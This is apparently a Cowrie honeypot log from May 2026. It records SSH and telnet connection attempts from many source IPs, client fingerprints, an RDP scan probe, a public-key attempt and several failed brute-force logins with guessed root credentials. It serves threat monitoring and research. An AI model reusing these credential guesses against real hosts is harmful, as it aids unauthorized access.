{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":59458,"dst_ip":"159.203.135.109","dst_port":22,"session":"3edec5e5932c","protocol":"ssh","message":"New connection: 43.130.29.69:59458 (159.203.135.109:22) [session: 3edec5e5932c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:56.941814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:56.946492Z","src_ip":"43.130.29.69","session":"3edec5e5932c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:57.015248Z","src_ip":"43.130.29.69","session":"3edec5e5932c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maya","password":"maya","message":"login attempt [maya/maya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:57.322814Z","src_ip":"43.130.29.69","session":"3edec5e5932c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:29:58.395718Z","src_ip":"43.130.29.69","session":"3edec5e5932c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55270,"dst_ip":"10.17.0.5","dst_port":22,"session":"107e0dd8e825","protocol":"ssh","message":"New connection: 152.42.212.128:55270 (10.17.0.5:22) [session: 107e0dd8e825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:12.337343Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:12.343494Z","src_ip":"152.42.212.128","session":"107e0dd8e825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:12.347774Z","src_ip":"152.42.212.128","session":"107e0dd8e825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":41820,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f1971c490c0","protocol":"ssh","message":"New connection: 62.133.62.83:41820 (159.203.135.109:22) [session: 2f1971c490c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:14.115695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:14.120991Z","src_ip":"62.133.62.83","session":"2f1971c490c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:14.200063Z","src_ip":"62.133.62.83","session":"2f1971c490c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ytngfhjkz","message":"login attempt [root/ytngfhjkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:14.445566Z","src_ip":"62.133.62.83","session":"2f1971c490c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:15.529423Z","src_ip":"62.133.62.83","session":"2f1971c490c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":37236,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6429ad06d35","protocol":"ssh","message":"New connection: 103.183.114.55:37236 (159.203.135.109:22) [session: c6429ad06d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:25.921373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:25.927500Z","src_ip":"103.183.114.55","session":"c6429ad06d35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:26.152457Z","src_ip":"103.183.114.55","session":"c6429ad06d35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789i","message":"login attempt [root/123456789i] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:26.831934Z","src_ip":"103.183.114.55","session":"c6429ad06d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:28.057447Z","src_ip":"103.183.114.55","session":"c6429ad06d35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.244.173.97","src_port":46526,"dst_ip":"159.203.135.109","dst_port":22,"session":"f28c81c74f54","protocol":"ssh","message":"New connection: 143.244.173.97:46526 (159.203.135.109:22) [session: f28c81c74f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:36.472571Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:30:36.489977Z","src_ip":"143.244.173.97","session":"f28c81c74f54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":58878,"dst_ip":"159.203.135.109","dst_port":22,"session":"f83195d66e55","protocol":"ssh","message":"New connection: 43.130.29.69:58878 (159.203.135.109:22) [session: f83195d66e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:20.244054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:20.249083Z","src_ip":"43.130.29.69","session":"f83195d66e55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:20.318020Z","src_ip":"43.130.29.69","session":"f83195d66e55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuck1234","message":"login attempt [root/fuck1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:20.628418Z","src_ip":"43.130.29.69","session":"f83195d66e55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:21.701066Z","src_ip":"43.130.29.69","session":"f83195d66e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35280,"dst_ip":"10.17.0.5","dst_port":22,"session":"03af3058b93e","protocol":"ssh","message":"New connection: 80.94.92.184:35280 (10.17.0.5:22) [session: 03af3058b93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:27.763899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:27.937950Z","src_ip":"80.94.92.184","session":"03af3058b93e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:27.943609Z","src_ip":"80.94.92.184","session":"03af3058b93e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.206","src_port":23308,"dst_ip":"159.203.135.109","dst_port":23,"session":"834856ddc4c4","protocol":"telnet","message":"New connection: 69.5.169.206:23308 (159.203.135.109:23) [session: 834856ddc4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:28.020937Z"}
{"eventid":"cowrie.session.closed","duration":0.17232370376586914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:28.193130Z","src_ip":"69.5.169.206","session":"834856ddc4c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:28.592680Z","src_ip":"80.94.92.184","session":"03af3058b93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:29.823725Z","src_ip":"80.94.92.184","session":"03af3058b93e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58242,"dst_ip":"10.17.0.5","dst_port":22,"session":"94de2d68fd9b","protocol":"ssh","message":"New connection: 51.250.105.222:58242 (10.17.0.5:22) [session: 94de2d68fd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:57.687130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:57.695982Z","src_ip":"51.250.105.222","session":"94de2d68fd9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:57.825680Z","src_ip":"51.250.105.222","session":"94de2d68fd9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyasdfgh","message":"login attempt [root/qwertyasdfgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:58.216020Z","src_ip":"51.250.105.222","session":"94de2d68fd9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:31:59.347705Z","src_ip":"51.250.105.222","session":"94de2d68fd9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.8.207","src_port":49972,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce952d341a0f","protocol":"telnet","message":"New connection: 157.230.8.207:49972 (159.203.135.109:23) [session: ce952d341a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:08.301364Z"}
{"eventid":"cowrie.session.closed","duration":0.0058689117431640625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:08.307102Z","src_ip":"157.230.8.207","session":"ce952d341a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.174.146","src_port":58630,"dst_ip":"10.17.0.5","dst_port":22,"session":"984e1dd787f0","protocol":"ssh","message":"New connection: 74.48.174.146:58630 (10.17.0.5:22) [session: 984e1dd787f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:29.737243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:29.741875Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:29.809453Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:a2:b4:80:c2:8a:35:a2:05:5b:93:84:88:47:89:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Z3aduiTchkq1iRPqA/fV3sCjXk1GRdby5Z/jJiS0qnlgeNQ2zSSb9qCfmrFd7OcTw8XZbX+PH4sWKgcSzPLC5qBXlfsd/yhN/X7xov/1XVXLDSf/qer3jQ4OwEqPcyt9Ts60JIUK0vYE3ACaOCwfS9xztyMg5ViqtrUzWBelPjMqXzlaH1pYoUdFRONOCFsvOwFX2EZ421g4tXOVaUOp7/EkQ7K70Rlebkw22Lgf9QFJc/L78WVXh7xRkftXh1AyJQ1hDVlnRWPXSIx04Ed1WC2eyTGrQJjgF0tBQp3FXW7HUcwrPsvb7EbB1NvuQPW0gI03tswF4EdsZ73OFhL3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:a2:b4:80:c2:8a:35:a2:05:5b:93:84:88:47:89:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:32:30.124627Z","src_ip":"74.48.174.146","session":"984e1dd787f0","protocol":"ssh"}
